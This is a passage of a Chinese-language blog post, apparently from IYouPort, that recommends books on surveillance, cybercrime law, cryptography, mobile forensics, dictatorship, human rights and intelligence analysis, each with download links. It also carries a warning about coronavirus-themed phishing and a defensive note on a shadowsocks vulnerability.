北京不仅仅因为“一带一路”的发展机遇而进入那些斯坦。之所以去那里，是因为该地区为该国提供了更好的“安全”，远离了西方军队和扼杀点的威胁。于是北京不太可能使其中一个主要贸易伙伴受到威胁。

以上是这场所谓的热点的背景原因。所以，现在您知道了，它不仅仅是一个舆论热点；最重要的是，它的结果最有可能是什么。

- 《镶金带银的太极黑沙掌—— 下一场来自帝国的威胁或许只是没有血腥》

28、《Python and Hacking Made Simple: Full Beginners Bundle To Master Python & Hacking》

「图」

知识帮您成为解决方案的一部分——

- 您是否认为这个世界已经被数字技术所吞没，甚至达到了被迫不断学习新东西而令人疲惫不堪的地步？
- 您是否曾经希望自己成为那些真正为这些技术的发展做出贡献的人，而不是无知的大多数？但它们似乎如此复杂，以至于您不知道从哪里开始？

如果您是编程新手，那么恭喜您找到了起点。这本书可以帮助您成为技术世界解决方案的一部分，而不再是成为无知群众的一部分。

使每个人都具备用一定程度的计算机语言编写的能力，停止被动服从的命运，让机器更好地解决您需要的问题。这本指南采用先学习后理解的方法，向您展示 Python 的强大功能。

1/ 您将进行基本编程练习以查看代码的工作方式，然后您将了解为什要按照这种方式键入代码。

2/ 您必须在每次练习中都注意细节。一个优秀的程序员与一个糟糕的程序员的不同之处在于，他们对代码中的每个字符、空格和符号的关注程度如何。

3/ 让代码运行起来，并根据每个示例编写您自己的代码。您可以创建自己的Python脚本，或在线访问 StackOverflow 或 CodeFights 等网站，以实践和扩展所学的知识。

渐进式学习的关键是一致性和持久性。

☞ 这本书传达了初学者必须具备的所有基本技能和知识，由此开始才能成为熟练的程序员。如果您按照后面的说明进行操作，但仍然遇到错误或预期不到的结果，请返回本练习的开头，详细研究代码本身；您必须关注细节，才能检测出代码中最微小的错误。

这本书通过演示正在发生的事并对其进行解释来训练您的能力，以便您能够在其他练习中复制它，而不仅仅是告诉您如何做。

如果您希望成为最好的Python程序员，那么本书适合您。

如果您具有最基本的计算机技能，一段时间的学习时间（最好每天一到两个小时）并且互联网连接良好，那么您就可以充分利用这本书。它可以是通往未来的垫脚石。

您可以在这里下载这本书：https://t.me/iyouport/6868

下载：https://www.patreon.com/posts/38187968

29、《The Huawei and Snowden Questions: Can Electronic Equipment from Untrusted Vendors be Verified?》

「图」

仅仅声称 “国家安全” 是不够的——

迄今为止，*故意* 设计用来对抗其所有者的设备已经被限制了。但是，将电子设备引入日常生活以及整个国家的关键基础设施确实有可能将这个令人不安的观念转变为现实。

——首先，因为电子设备具有自主行动的能力，其次，因为电子设备的运行方式通常超出了其所有者可以合理预期的理解范围。

随着中国制造商的设备在关键基础设施中的使用在西方国家变得越来越普遍，这个问题在2010年左右（10年前）已经成为国际关注的重点话题。

对设计的不信任促使几个国家禁止使用华为和中兴等公司的设备，因为他们担心该设备可能是故意设计的，有损于其所有者的利益。

这些讨论和禁令引起了人们兴趣—— 在斯诺登曝光的国安局间谍全球的行为中，参与者大多是美国大牌科技公司，以至于民族主义的中国当局只需要声称 “国家安全” 就可以阻止美国设备和互联网应用；同样，中国政府骇客被揭露的诸多不堪行为，引起美国当局怀疑中国技术都是间谍工具，因此声称 “国家安全” 而阻止它们。

这是高堡奇人霸主地位争夺战中最典型的一幕。我们暂时不考虑中美幕后的暗通款曲（您可以在 列表-4 中看到诸多证据的汇总）。

这些讨论和禁令给买方和卖方都带来了新的挑战：买方必须问自己是否可以验证不受信任的卖方的电子设备。另一方面，由于不受信任而遭受市场份额损失的设备制造商必须问问自己是否有可能（重新）建立市场对其电子设备的信任。

令人惊讶的是，对于这些问题的答案尚无明确共识。如果您要求对信息技术专家进行随机抽样，那么很多人会说“是”和“不是”。这个极简结果与问题的重要性形成了鲜明的对比。

☞这本书的角度不错，很实用。它尝试回答了两个核心问题：

- 首先，是否有可能验证从不受信任的供应商处购买的电子设备？
- 其次，是否可以通过不受信任客户支持验证的方式在产品中建立信任？

在有关网络安全的讨论中，有一个默认的假设，即：设备制造商将与设备的用户合作以阻止第三方的不法行为。

然而，斯诺登文件和最近有关在西方国家关键基础设施中使用中国设备的讨论，都改变了这一状况。在这两种情况下，讨论都围绕恶意制造商如何伤害自己的客户，并声称“国家安全”。

IYP之所以创建“高堡奇人”栏目，正是希望人们了解被掩盖的民族主义较量的内幕。我们不能一直停留在“你愿意成为谁的奴隶？中国国安部还是美国国安局？”这个愚蠢问题的压力之下。

☞回到技术本身来讨论问题。去他们的民族主义。

也许这本书能帮助您理解一些大众媒体没有告诉您的事。

您可以在这里下载：https://t.me/iyouport/6871

下载：https://www.patreon.com/posts/38188008

30、《One Long Night: A Global History of Concentration Camps》

「图」

如今，这是一个遍地都是集中营的世界——

不论是专制国家还是民主国家，都在努力打造自己的集中营。这就是当下这个世界的现实。

今天的人们使用了许多委婉语来描述这种设施：再教育营、拘留中心、劳动营、监狱营、国内无家可归者营地等等。但是，在第一次世界大战之前，所有这些东西都被简单地称为集中营，它们于1890年代在古巴开始，当时西班牙人构建它的目的是控制针对西班牙殖民者的本地起义。

⚠然而从那时起，集中营就在全球范围内激增，并已成为试图控制大型人群的政府的首选工具。

在过去的100年中，整个种族都被围捕、未经审判就被监禁、并且被无限期羁押，慢慢饿死、或死于疾病和忽视。

如今，整个世界都充满了集中营—— 与政治体制完全无关。

尤其是，这些暴行是在全球曝光、严厉谴责和 “永不再犯” 的庄严承诺 **之后** 继续发生的。

这本书很重要，能够帮助您理解这个世界的真实形态，理解是解决的基础。

尤其是，它提出并有效地解释了很多敏感的问题：

☞人们为什么默许自己国家的同胞被关入集中营？甚至很多人还支持构建这种噩梦一般的设施？

☞ 为什么曾经身陷其他国家的集中营并差点死掉的人，却在幸存后不久就着手构建了自己国家的集中营？

☞当年纳粹的集中营在最初几年里并非死亡集中营，被关押在其中的人后来基本都被释放了。但是，是什么令它们最终变成了射击小队和毒气室的地狱？这个世界在其中起到了什么作用？

☞ 尤其是，为什么被关押在集中营中的人和他们在外面的亲人都没有联合反抗？甚至有些人是主动服从当权者而进入集中营的 ……

⚠ 这些问题的答案正是关于为什么今天这个世界布满了集中营的原因。

是的，集中营已经有100多年的历史，而这些问题的答案至今从未改变。

最重要的是，我们如何与之抗争？—— 让它真正的 **never again**.

您可以在这里下载这本书： https://t.me/iyouport/6875

下载：https://www.patreon.com/posts/38188062

31、《NIST PRIVACY FRAMEWORK: A TOOL FOR

IMPROVING PRIVACY THROUGH ENTERPRISE RISK MANAGEMENT January 16, 2020》

「图」

NIST 隐私框架1.0发布——

在过去的二十多年中，互联网和相关的信息技术带动了前所未有的创新、经济价值以及对社会服务的获取。这些收益中的许多都来自流经复杂生态系统的个人数据。

结果，当个人与系统、产品和服务进行交互时，他们可能无法理解其隐私的潜在后果。

组织也可能没有完全意识到后果。

无法管理隐私风险可能对个人和社会产生直接的不利影响，并对组织的品牌、底线和未来的增长前景产生可能很严重的后续影响。

寻找继续从数据处理中“受益”并同时保护个人隐私的方法，是具有挑战性的，并且不适合一种“一刀切”的解决方案。

隐私具有挑战性，因为它不仅是一个包罗万象的概念，可以帮助维护诸如人类自治和尊严之类的重要价值观，而且实现它的方式也可能有所不同。 例如，可以通过隔离、限制或个人控制等方面来维护个人隐私；而人类的自主权和尊严不是固定的和可量化的结构；它们在文化多样性和个体差异方面有所不同。

隐私的这种广泛而不断变化的性质使得很难在组织内部以及组织之间、以及与个人之间就隐私风险进行清晰的沟通。

☞缺少的是通用语言和实用工具，该工具需要足够灵活，可以满足各种隐私需求。

美国国家标准与技术研究所（NIST）发布了其隐私框架的1.0版本。该框架是一个面对大众的安全工具，可以被各大公司组织用来管理数据风险，遵守隐私法律，包括欧洲的GDPR。

该框架希望能切实帮助公司组织实现隐私安全这一目标。其主要由三个重要部分构成：核心（Core）、概要（Profiles）和实现（Implementation）。

这是一种通用方法，适用于任何组织在数据处理生态系统中的角色，隐私框架的目的是通过以下方式帮助组织管理隐私风险：

– 在设计和部署影响个人的系统、产品和服务时要考虑到的隐私方面；

– 跨组织交流隐私惯例；

– 鼓励组织间的协作，例如在管理者、法律和IT技术之间。

您可以在这里下载：https://t.me/iyouport/6878

下载：https://www.patreon.com/posts/38188123

32、《 CIA World Factbook 2018–2019》

「图」

从间谍的眼睛看世界——

我们在两年前的访谈中解释《“情报不是简单的信息”》。情报支持的是行动，信息仅支持理解。

☞我们始终认为政治评论值得也应该采取情报的态度，而不是吐槽的态度，这样才有可能帮助活动家在进一步的计划中确立有效的方向和策略。

但是，正如您所看到的，当下的绝大多数政治评论（甚至有些自称为“分析”的东西）都是不合格的、属于谩骂发泄的、仅仅彰显立场的，它们只是填补了媒体版面，只是表现了作者刷热点的参与性，而对行动指导来说基本无用。

我们为什么要制造如此之多的无用的东西？让互联网变成垃圾场？

尤其是，如何改善这点，令分析更加有效？

IYP 曾经通过诸多演示重复介绍了很多科学的分析方法，未来还将继续；

☞ 而今天上传的这本书可以作为一个参考案例，**您可以看到 CIA 是如何做情报分析的**。

很多情况下您可以抓取到大量的信息，尤其是互联网时代；但是，是否能令这些信息发挥情报的作用从而对行动形成指导意义，完全取决于您的分析法是否科学合理。

情报周期是获取信息、将其转换为情报并提供给决策者的过程。

信息是来自任何来源的原始数据，这些数据可能是零散的、矛盾的、不可靠的、模棱两可的、欺骗性的、或错误的。而情报是已经收集、集成、评估、分析和解释的结论。

最终情报分为三种类型：基本、当前和估计。

基本情报提供有关某个国家或问题的基本事实参考资料；当前情报报告了新进展；估计情报判断可能的结果。

这三种情报是相互支持的：基本情报是构建另外两个情报产品的基础。The World Factbook、The President's Daily Brief、 the National Intelligence Estimates 是其中三种典型的案例。

自乔治·华盛顿时代以来，美国就开展了外国情报活动，但直到第二次世界大战以来，才在全政府范围内进行协调。自那时以来，有三个计划突出了协调基础情报的发展：（1）联合陆军海军情报研究（JANIS）；（2）国家情报调查（NIS）；（3）《世界各国资料实录》（世界概况）。

这本书就是第三种，是最新版。

它最初是供政府官员使用的，对于希望了解整个世界的任何人来说，都是必不可少的资源。

您可以在这里下载：https://t.me/iyouport/6881

下载：https://www.patreon.com/posts/38188158

33、《Empire of Illusion: The End of Literacy and the Triumph of Spectacle》

「图」

补充——

有读者留言说，我们去年的汇总漏掉了一本书。的确是，赶紧补充进

来，就是上面这张图中的书，您可以在这里下载：https://t.me/iyouport/6903

下载：https://www.patreon.com/posts/38188377

34、《Encyclopedia of Cybercrim》

「图」

模糊的法律，被滥用以判罪反抗者——

不知道您是否搜索过中国的司法文书网站发布的判决书，如果有，您会知道，⚠如今计算机技术开发和技术使用相关的判罪案例越来越多。

目前主要集中在翻墙软件的开发方面，不断有相关开发者被抓捕并被判刑—— 被诬陷为 “计算机滥用/网络犯罪”。

然而最令我们感觉焦虑的是，中国目前为止还没有组建针对技术案件的 **人权律师团队**，无法更直接地协助相关案件的受难者。

受理这类案件的律师需要具备足够的技术知识，首先至少应该明白如何判断什么是 “滥用/犯罪”，也就是它的标准是什么。理论上才有机会驳倒指控。

我们知道，中国的司法不独立，法庭也许很难维护正义；但是，打赢官司是一回事，如果甚至连辩护的机会都没有，那就是另一回事了。

对于开发者的援助，我们必须积累几个在辩护方面成功的案例，这样才能调动社会舆论联合国际舆论，以便向执法和立法者施加压力，或许有可能（至少）降低此类案件的发生率。

⚠ 而当下的状况是，一切全凭当局的胡乱指称。这不公平，而且非常危险。继续肆意发展下去将出现使用Tor、虚拟机、甚至国际上著名的加密通信技术和平台的用户被借此判罪。（别忘了中国的《密码法》已经生效）

我们去年强调过，中国当局迟早会对OSINT下手，而且很有可能会以 “滥用/犯罪” 为借口剥夺公民掌握真相事业的前途。

于是这不仅仅是反封锁技术维权的问题，它的范围可以很大；如果维权律师不能尽快掌握IT案件相关的辩护能力，将会有越来越多的人陷

入困境。

☞ 而且这种做法—— 谎称“计算机滥用” 以镇压任何反抗—— 并非中国的专利。最近出现的最惊人的案例是 Glenn Greenwald。任何看过纪录片《第四公民》的人都会知道他。

Glenn Greenwald 以揭露当权者的阴谋而闻名全球，他是斯诺登最信任的人。他因躲避美国当局而迁居巴西，在巴西继续反抗工作。现在他因揭露巴西政府的腐败内幕而被起诉—— ⚠请注意，巴西当局起诉 **Glenn** 的罪名包括 “侵入计算机设备”。他是记者，并非开发者，他在斯诺登的帮助下学会了使用加密技术以保持和信息源的安全联络。该罪名就由此而来。

⚠ 和中国完全一样。也就是说任何与计算机有关的操作、尤其是使用加密等匿名技术的反抗者，都有可能被以这种罪名栽赃。

在世界范围内，网络犯罪相关的法律众所周知都是模糊的。部分原因是要编写良好的网络犯罪法律具有挑战性：技术发展日新月异，我们描述某些数字行为的语言可能不够精确，立法者可能并不总是想像以后如何解释法律。⚠尽管法律模糊不清，但处罚往往是严厉的，这使其在检察官手中成为危险的大手笔。检察官可以并且确实会利用这种断断续续的优势，滥用法律，以起诉任何反抗者或研究人员—— 现在，还包括与消息来源进行私密通讯的记者。

EFF在2018年发布了有关使用计算机犯罪法将整个美洲安全研究定为犯罪的广泛报告。对众多计算机犯罪法律的分析清楚地表明，当前的许多法律都含糊不清，容易受到滥用、以及针对完全无害行为的过度起诉，已经出现严重的寒蝉效应。

是的，美国也是这样，几乎全世界都是这样。目前EFF正在要求最高法院制止对 “计算机欺诈和滥用法” 进行危险的宽泛解释，您可以在在这里看到《EFF Asks the Supreme Court to Put a Stop to Dangerously Broad Interpretations of the Computer Fraud and Abuse Act》

我们没有找到针对反封锁软件开发技术者被诬告案件的辩护技巧，但这方面的指南有可能不久的将来就会更多出现：因为这个世界的网络封锁越来越严重，互联网的巴尔干化是近年来国际上数字权利论坛的热点议题；也就是说，中国的 “墙” 已经不再独树一帜，抵制封锁的技术、法律援助、社会援助等相关指南也将应运而生。

☞ 现在有一本书可以推荐给大众，尤其是从未接触过技术辩护的人权律师，因为这本书的语言非常简单，您不需要任何计算机科学、软件工程、或网络管理方面的知识，就可以理解和使用这本书。

☞ 如果您是防御者，这本书也会有用；它通过详细解析各种不同的网络犯罪和相关技术，可以帮助您理解安全的薄弱点在哪，您可以构建更恰当的威胁模型。

如果您找到了 **针对反封锁软件开发技术者被诬告案件的辩护技巧**，欢迎邮件联系我们！并且非常支持您将这些资料分享给您熟悉的可信赖的中国人权律师。因为这个问题很重要。

您可以在这里下载这本书：https://t.me/iyouport/6906

下载：https://www.patreon.com/posts/38188415

35、警惕冠状病毒相关的网络钓鱼——

「图」

安全公司 Mimecast 本周发现了网络钓鱼电子邮件样本，显示攻击者传播了恶意链接和PDF，这些链接和PDF声称包含 “有关如何保护自己免受冠状病毒传播” 的信息。这是骗局。

电子邮件诈骗者经常试图在受害者身上引起恐惧和紧迫感，他们如此迅速地将冠状病毒纳入诈骗剧本，并不足为奇。

☞ 但是此举的确说明了网络钓鱼尝试如何始终如一地融合到某些热门主题上。

简单说，一出事就会有人趁火打劫，这是可悲的全球 “生态”。911 后，一些坏家伙利用人们的悲痛心理搞虚假捐赠，骗走了一大笔钱。这种事尤其恶心。

您需要保护好自己的利益！时刻警惕。

这是网络罪犯寻求机会利用弱势群体所造成的困惑—— 人们会因为不确定而点击链接。

攻击者通常针对节日或节假日等季节性事件来量身定制钓鱼诈骗模型，以利用人们的焦虑或渴望。

不同的攻击者将启动同一骗局的不同变体，以窃取登录凭据、分发间谍软件、或从其受害者那里收集致命的个人信息。

☞他们还会尝试伪装成合法的电子邮件帐户，并针对特定的人群——也就是说，如果附件似乎来自你的同事，那么你打开它的可能性更大，对吗？

我们开工后会开启一个新系列，关于防身技巧，其中一个突出的原则就是：**零信任，始终验证**。这句话包含在美国陆军的情报分析原则里面；它同样适用于使用互联网的任何人！

请随时记得，坏家伙会利用您的紧张、担忧、兴奋、期待等刺激性心理，因为在这种情况下人们会表现冲动。

《我是如何上当受骗的？》这篇文章中介绍了防御方法。任何人都会有冲动的时候，因为我们的大脑有很多相似的弱点，导致我们容易被利用而作出一些损伤自身利益的事，这与受教育程度没什么关系。于是，了解这些弱点就能在很大程度上提起警惕，以避免上当受骗。

36、《Serious Cryptography: A Practical Introduction to Modern Encryption》

「图」

“创建属于我们自己的国土”——

这本指南很实用，打破了密码学核心的基本数学概念，而又没有回避有关其工作原理的各种讨论。

您将了解到认证加密、哈希函数、分组密码、以及诸如非对称加密和椭圆曲线加密之类的公钥加密技术。

您还将学到：

- 密码学中的关键概念，例如计算安全性、攻击者模型和前向保密等
- HTTPS背后的TLS协议的优点和局限性
- 量子计算和后量子密码学
- 通过研究大量的代码示例和用例，了解各种漏洞
- 如何选择最佳算法或协议，并向供应商提出正确的问题
- 以及其他

每章都使用实际示例讨论常见的实现错误，并详细说明可能出问题的方式、以及如何避免这些陷阱。

无论您是经验丰富的从业者，还是该领域的初学者，这本书都能适合您。

- 《创建属于我们自己的国土；推荐非暴力直接行动的终极形式 —— 为自由而战（三）》

您可以在这里下载：https://t.me/iyouport/6911

下载：https://www.patreon.com/posts/38188516

37、《How to Be a Dictator: The Cult of Personality in the Twentieth Century》

「图」

你是魔鬼，还是大众情人？——

在这次肺炎疫情（nCoV2019）中，我们简单浏览了一下网络中文舆论，发现了很多有趣的观点。其中一个令人印象深刻的评论称（大致意思）：“疫情把习从神坛上拉下来了”。

拉下来？…… 我们不禁想问：当初是谁把他放到神坛上去的？

☞把 **任何** 当权者放到神坛上都是专制的成因。请注意，是任何。

但是自古以来，不断有大批的民众在架设这种神坛。虽然神坛上的人不断更换，然而，还记得IYP的口头禅吗？—— 换一个主人并不是摆脱奴隶命运的有效方法。

而人们依旧会这样做。这是为什么呢？这本书希望解释这一问题。

被爱而不是被恐惧会更好吗？反之呢？

答案是，一个人宁愿这两者兼而有之。但由于这两者经常不兼容，所以，如果必须选择的话，那些人会觉得：被他人害怕比被他人爱更安全……

一个被周围人恐惧的家伙比一个被周围人爱戴的家伙更加不容易失

望、也有更多机会为所欲为。

⚠而且，他们会致力于让这份恐惧看起来就像是 “深爱”。

☞正如著名精神分析学家埃里希·弗罗姆所说，之所以那么多人崇拜希特勒，是因为承认害怕一个人比承认崇拜一个人更丢人。

恐惧意味着害怕受到惩罚，这是人们永远不会忘记的事。

墨索里尼，希特勒，斯大林，毛泽东，金日成，齐奥塞斯库，埃塞俄比亚的门格斯图、海地的杜瓦利埃 ……

这些名字听起来很熟吗？

没有独裁者可以独自通过恐惧和暴力来统治。

☞ 他们可以暂时夺取和保留表面的权力，但是，从长远来看，这已经远远不够。只有那些能够做到强迫自己的人民称赞他的独裁者的权力才会持续更长的时间。

现代独裁者的悖论在于，他必须制造出民众支持的幻象。

在整个20世纪，成千上万的人热烈追捧这些独裁者，即使在人们自己已经被农奴制度压垮的情况下，他们也不得不称赞他们的领导人。

这究竟是这怎么回事？这些分布全球的暴政有哪些共性？

在《如何成为独裁者》中，Frank Dikötter 返回了20世纪最令人反感的八大人格崇拜。

从精心编排的游行到通过铁幕审查刻意培养出的神秘感，这些独裁者不断地努力创造自己的形象，并鼓励广大民众称颂他们。

再次听起来很熟？那就对了。

☞ 在当下全球民主退缩之际，人们纷纷看到当今世界的很多领导人在高科技的协助下复兴了这一传统的独裁模版。

这项研究很及时，以宏大的叙事气魄提醒人们，恶是如何保持、成长和维护其自身的。它把个人崇拜归于暴政的核心。

不要错过👇

-《独裁者的监视指南》

–《警惕微妙的劝导术：恐惧诉求—— 埋下情绪 操控思想》

您可以在这里下载这本书：https://t.me/iyouport/6914

下载：https://www.patreon.com/posts/38188559

38、《Human Rights as Politics and Idolatry》

「图」

你需要一支利剑——

我们收到一些读者留言，其中很多朋友表示，“中国的侵犯人权状况为什么如此猖獗？是因为其他国家不来干涉” …… 我们可以理解大家的心情，但这一想法显示，对人权法存在一些误解。☞今天上传的这本书希望能解释这个问题—— 为什么说反抗需要也只能来自本土。

“任何人都不应受到残忍、不人道或有辱人格的待遇或处罚”—— 《公民权利和政治权利国际公约》第七条的这一声明是自1945年以来恰当地称呼为人权的 “司法革命” 的一部分。这场革命的其他重要国际文件包括《世界人权宣言》和1948年的《日内瓦公约》、对1949年的《日内瓦公约》的修订、以及1951年的国际庇护公约。

‘无利剑做保障的契约只是文字而已—— *Thomas Hobbes*’

如此众多的缺乏 “利剑” 支持的文字标志着一场什么样的革命？

与最初的《世界宣言》不同，《国际公约》是国家间具有法律约束力的条约。人权事务委员会有权裁定所面临的侵权行为。该人权条约和其他人权条约具有法律约束力的性质是权利革命的另一个标志。

⚠但是，说人权法具有法律约束力，并不是说有哪个权威机构可以将主权国家置于该法律之下。

由于这个原因和许多其他原因，人权革命还远远没有完成，并且，它进一步接近实现其目标的能力受到了广泛的质疑，尤其是在当今高度组织化的人权活动家社区之外。

此外，在国际舞台上，在人权的理论或实践中，也算不上明确确立人权革命的成功。

☞因此，这本书从有关人权的政治道德的最基本问题开始。人权的目的是什么？它们的内容应该是什么？侵犯人权行为需要跨国进行干预吗？是存在跨多种文化的单一人权和道德基础，还是有许多文化特定的道德基础？从什么意义上说人权才具有普适性？……

如果我们从最基本的问题开始—— 人权的目的是什么？—— 你将立即看到很难达成共识。人权可以用于多种目的，而且这些目的可以以多种方式表达，不仅可以跨越不同的社会和文化，甚至可以体现在其中。

当集体自决权被确定为捍卫民族主义时，该权利与保护人类免受残酷、压迫和侮辱的权利就失去了明确的联系。这是因为，正如 Ignatieff 所认识到的那样，⚠“民族主义解决了胜利那一方的民族的人权问题，同时又产生了新的受害者群体，其人权状况更加恶化了。”

☞集体自决需要与民族主义区分开来，才有资格成为一种保护 **所有人** 免受残酷和压迫的手段—— 没有以民族或种族的名义伤害个人的权利。

对国家持续侵犯人权行为的最有争议、有时甚至是唯一可能有效的应对措施是干预。

因此，Ignatieff 问，在什么情况下采取干预措施来扭转国家内部的侵犯人权行为是合理的？

像民族主义一样，干预是一把双刃剑。必须谨慎使用它，以免成为干预国侵犯人权的意外借口。

但是，在 **可以有效** 制止（或至少显著减少）系统性的和普遍的侵犯人权行为时，必须使用它。该标准的适用性远比表达标准难得多，并且在理论和应用上都存在争议。“人权可能是普适的，但是对强制执行其准则的支持永远不会是普适的。”

这本书思考了很多敏感的问题，尤其是介绍了人权革命的成功、失败和前景，也许能帮助未来的革命者校准方向。

您可以在这里下载：https://t.me/iyouport/6920

下载：https://www.patreon.com/posts/38188629

39、《Mobile Phone Security and Forensics：A Practical Approach》

「图」

手机安全和取证实用方法——

去年我们推荐过一些知识资源：

- 一本书和一个文档，关于：您的手机和电脑如何作为呈堂证供，您可以在这里下载：https://t.me/iyouport/6313 ；
- 还有这里：https://t.me/iyouport/6315 ；
- 另外还有一本手册，讲述专业的数字取证技术，通过它，您将能知道数字取证都考虑哪些方面、如何串联信息、如何形成证据以协助法庭定罪。于是您能知道该避免什么、如何避免、尤其是在被不合理定罪时，您和您的律师应该知道该如何反驳。在这里下载：https://t.me/iyouport/6419

☞接下来即将上传的这本书是关于移动电话取证的。

移动电话的主导地位一直在持续增长。但是，尽管人们享受着手机所提供的技术进步，但也无疑面临着新的安全风险。

手机本身是不安全的东西，我们曾多次强调过这点，今后还会不断介绍它的危险性和防御方法；《如果您准备参加抗议活动》或出席其他有可能会给您带来危险的场合，非常建议您不要携带自己的手机（即便它在法拉第袋里）。

☞休假结束后我们将发布一份详细介绍，关于当权者如何从您的手机里提取数据的技术。现在上传的这本书将被引用。

☞ 这本书旨在提高用户对使用手机时存在的安全性和隐私威胁的意识。它侧重于实际问题，并且提供了易于遵循的示例，跳过了算法和标准的理论分析。

该书更适合于移动设备本身，而不是基础网络。目标是达到平衡，包括技术和非技术章节。威胁概述和宝贵的实践建议，业余爱好者以及经验丰富的用户均可受益。

您还将了解到影响手机安全性的各种“招术”。有更多技术基础的用户将喜欢这些讨论，甚至可以尝试书中介绍的取证和移动电话控制技术

—— 对抗性思考方式！站在敌人的角度想问题。

不要错过：《斯诺登：智能手机本身就是不安全的东西》

希望这本书能对您有用。

您可以在这里下载：https://t.me/iyouport/6928

下载：https://www.patreon.com/posts/38188672

40、《Irrationality: A History of the Dark Side of Reason》

「图」

“你的” 叙事——

“叙事” 这个词正处于政治鼎盛时期。政客需要在对手为他们辩护之前确立 *自己的* 叙事。他们需要对其进行更改或查找、测试或否认。

我们生活在相互竞争的叙事的愤怒争吵中，每一个叙事都试图粉碎、压缩、摧毁、和歼灭其他叙事。

但是，他们并不是采用老式的科学经验和理性方法，也不是采用法庭上的直接和间接证据，而是，“你的” 和 “我的” 叙事。

Justin E.H. Smith 在这本书中描述了这个充满火药味的竞争性叙事的舞台：这意味着 “共同预设的共享空间几乎完全消失，人们的争论建立在这些差异之上。”

曾经所有人共享的同一个空间，现在变成了数以百计的小空间气泡，其中一些在社交媒体中仅仅短暂碰撞，而长时间完全忽略了其他空间的存在。

我们现在都处在 *自己的* 真相和现实的小隔间中。

叙事要么引人入胜，要么无人问津。

☞ Franklin 的任务是，思考在这种情况下如何继续保持共和？

……

以前被公认和被理解的论点、摘要、案例、以事实为依据的立场，现在都变成了“叙事”，他们没有寻求证明自己，而只寻求参与，网络空间的超现实性旨在仅仅提供那种“点赞/表情符号”的互动。

那种思维跳跃充斥了经验和感觉，没有任何深思熟虑的习惯。只有假新闻和另类事实，不再是理性的观点，而是“叙事”。

每一条推文都站在自己圈子的立场上，每一个词的含义都是“I say it means.”

☞在一种深深关注个人而非抽象、致力于吸引名人而不是思想的文化中，这是政治的祸根。

如何才能解决这个问题？取决于有多少人能认识到这一点。也许这本书值得思考。

下面我们上传它。

您可以在这里下载：https://t.me/iyouport/6939

下载：https://www.patreon.com/posts/38188748

翻墙安全提示——

「图」

研究人员发现了shadowsocks协议中的一个漏洞，该漏洞打破了shadowsocks流密码的机密性。攻击者可以使用重定向攻击轻松解密所有加密的shadowsocks 数据包。

由于该漏洞很明显、并且易于利用。研究人员认为中国政府已经知道这点了。因此，使用 shadowsocks 可能无法使您免受监视。

对于防御，研究人员指出：不要使用：shadowsocks-py，shadowsocoks-go，go-shadowsocks2，shadowsocoks-nodejs；仅使用：shadowsocks-libev，并且仅使用AEAD加密方式。

您可以在这里下载这份研究报告：https://t.me/iyouport/6941

41、《The death of expertise: the campaign against established knowledge and why it matters》

「图」

票友崛起的世界真的很好吗——

在冠状病毒爆发的过程中，我们备份了一篇来自中国网络的文章您可以在这里看到（https://t.me/iyouport/6900 ）就在备份它的次日，它已经开始在中国网络被删除。

这篇文章的末尾部分有一段话值得思考："知道真相的人噤如寒蝉，不知道真相的人各种"大力科普"、"深度分析"；亲身经历的公司只字不敢言，其他公司各种借势营销。从鼠疫到新型冠状病毒皆是如此……"

☞这是一种现象，而并非仅仅体现在冠状病毒问题上。而且它的确是一个危险的信号。

如今，通过技术和越来越多的教育机会，人们可以获得比以往更多的信息。

然而，这些社会上的收获也助长了自恋和误导性的知识平均主义的激增，这削弱了关于许多问题的真正的知情辩论。

如今，每个人都"知道一切"：通过 WebMD 或 Wikipedia 进行的快速浏览，普通公民相信自己与专业医生和科学家处于同等的知识水平。所有声音，甚至是最荒谬的声音，都必须同样严肃地对待，任何相反的主张都被视为"不民主的精英主义"。

正如这本书中所显示的，这种拒绝专业性的原因很多，包括互联网的开放性、客户满意度模型的流行、以及新闻业向24小时娱乐机器模式的转变等等。

☞矛盾的是，日益民主化的信息传播，而不是培养受过良好的批判性思考教育的公众，反而造就了一群信息闭塞且易于愤怒的公民，他们谴责任何知识成就。

与普遍的思考方式相比，Nichols 有着更深层的担忧，他指出，当普通公民认为没人比他自己更明白时，民主制度本身就有陷入民粹主义或技术独裁的危险；或者在最坏的情况下，两者兼而有之。

必须说，IYP认为我们大概能理解为什么中国的互联网用户将专家称为"砖家"。当权者把控着研发资源（包括钱）这就在很大程度上会将研究人员置于被动的权力附属位置。事实上这种情况在大多数国家都

是如此，但如果专业人士不敢说实话，类似冠状病毒疫情这类突发性危险事件就将变得更加危险。

要知道，也许只有专业人士才能解决这个问题，因为他们能接触到实情—— 那些保密性最高的东西，并且以他们在相关领域的知识水平，也只有他们能透彻地解读这些实情。

专家首先是公民，他们应该也必须具备公民的道德感和义务。

这本书不仅是对危险现象的探索，也是对信息时代现代民主的稳定性和生存可持续性的警告。

您可以在这里下载：https://t.me/iyouport/6944

下载：https://www.patreon.com/posts/38188809

42、《Intelligence Analysis 2020》

「图」

美国陆军部总部 *情报分析* **2020——**

在 “开源情报” 专栏中，我们的确介绍了很多信息抓取工具、以及获取不容易找到的信息的技巧。相比下这部分内容的受关注度较高。但是，您应该知道，

是情报分析，而不仅仅是情报收集，才是真正的行动力核心。

简单说，您需要能理解、而且是准确深刻地理解那些您找到的东西它们意味着什么；这就是信息/情报分析才能做到的事。☞任何有效的决策和行动部署都取决于这点。

我们在去年的 “战略性欺骗” 系列中多次提到：您的对手会不惜一切代价误导您的判断力，对峙过程中，您能想到的和想不到的各种阴损招术都会出现；这就是考验情报分析专业性的重要方面。您可以在 列表-3 “斗智” 中看到 “战略性欺骗” 的单独板块。

基本可以说：这是一个以心理学和逻辑学为武器的斗争。

“情报分析” 这个概念也许会产生误会，似乎它只能适用于 “情报”，并不是哦！**以心理学和逻辑学为武器的斗争** 适用于任何一种分析—— 包括您最熟悉的各种社交媒体信息分析—— 这本身是互联网人

应当具备的媒体素养。

您肯定会下棋吧？嗯，就是那样。

☞当权者给公民挖坑儿会在7步之外，但如果公民对当权者的分析只能一步之遥 …… 那结果肯定是不断地 astonished。这意味着公民始终赢不了。谁也不想要这种事对吧。

通过我们这些年来对中国政治分析市场的观察，一个显著的印象就是，大多数“分析/评论”都格外肤浅，很难真正起到引导行动决策的作用。这是一种浪费。

主流媒体的投稿渠道就专门鼓励这种浪费，因为它们要的是所谓热门关键字、热点话题，为了吸引流量/目标是广告费—— 是他们的利益，而不是我们的利益。我们可以借助它们的影响力帮助我们放大信息，但前提是，我们提供的分析必须是深刻的和可靠的。

再一次，思考方式是比信息量更更更值钱的东西。

